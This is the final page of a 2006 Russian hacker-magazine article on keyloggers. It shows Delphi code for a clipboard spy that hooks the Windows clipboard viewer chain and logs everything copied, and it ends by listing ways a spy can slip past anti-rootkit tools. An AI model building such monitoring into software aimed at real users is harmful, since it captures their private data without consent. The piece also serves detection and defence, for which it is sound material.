Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #70, СЕНТЯБРЬ 2006 г.

ШПИОН ДЛЯ САМОГО СВЯТОГО

ЗАЙЦЕВ ОЛЕГ

Спецвыпуск: Хакер, номер #070, стр. 070-040-8


Memo1.Lines.Add('Регистрация прошла успешно. Next hWnd = '+IntToHex(hNextClipboardViewer, 8))

else

Memo1.Lines.Add('Ошибка GetLastError = '+IntToStr(GetLastError));

end;

procedure TCMForm.FormDestroy(Sender: TObject);

begin

ChangeClipboardChain(Handle, hNextClipboardViewer);

end;

После регистрации окно начнет получать сообщения двух видов - WM_CHANGECBCHAIN и WM_DRAWCLIPBOARD, - поэтому для их обработки потребуются два метода:

procedure WMCHANGECBCHAIN(var Message: TWMCHANGECBCHAIN); message WM_CHANGECBCHAIN;

procedure WMDRAWCLIPBOARD(var Message: TMessage); message WM_DRAWCLIPBOARD;

Задачей обработчика сообщения WM_CHANGECBCHAIN является корректировка хендла следующего в цепочке окна в случае его разрушения, что реализуется следующим кодом:

procedure TCMForm.WMCHANGECBCHAIN(var Message: TWMCHANGECBCHAIN);

begin

// Удаляется окно, которому мы передаем сообщения ?

if Message.Remove = hNextClipboardViewer then

hNextClipboardViewer := Message.Next;

SendMessage (hNextClipboardViewer, Message.Msg, Message.Remove, Message.Next);

end;

Соответственно, обработчик WM_DRAWCLIPBOARD содержит код шпиона, который должен опросить содержимое буфера обмена и внести его в протокол. В простейшем случае этот код сводится к следующему:

procedure TCMForm.WMDRAWCLIPBOARD(var Message: TMessage);

begin

// Вносим данные в протокол

Memo1.Lines.Add(clipboard.AsText);

Memo1.Lines.Add('----------------------------------------------------');

// После обработки необходимо передать сообщение дальше по цепочке

SendMessage (hNextClipboardViewer, Message.Msg, Message.WParam, Message.LParam);

end;

Данный пример просто добавляет содержимое буфера обмена к протоколу. Более сложная реализация может предполагать проверку на предмет повторов.

[выводы]

В качестве заключения можно сделать пару выводов. Первый и основной вывод состоит в том, что кейлоггер достаточно просто написать самостоятельно. Как следствие, методики сигнатурного поиска для охоты на клавиатурный шпион малоэффективны. В качестве наилучшего метода борьбы можно посоветовать применение одного из описанных выше антикейлоггеров совместно с антируткитом. Однако даже это не даст 100% защиты от шпиона (остается, например, перехват обмена потока RawInputThread в csrss.exe с драйвером клавиатуры и подмена драйвера клавиатуры). Кроме того, следует учитывать, что многие антируткиты не отслеживают регистрацию функций KeServiceDescriptorTableShadow и слайсинг их кода - это дает еще два метода внедрения шпиона. Поэтому вывод прост: на данный момент никакой антикейлоггер не заменит тщательного анализа системы вручную!

Назад на стр. 070-040-7  Содержание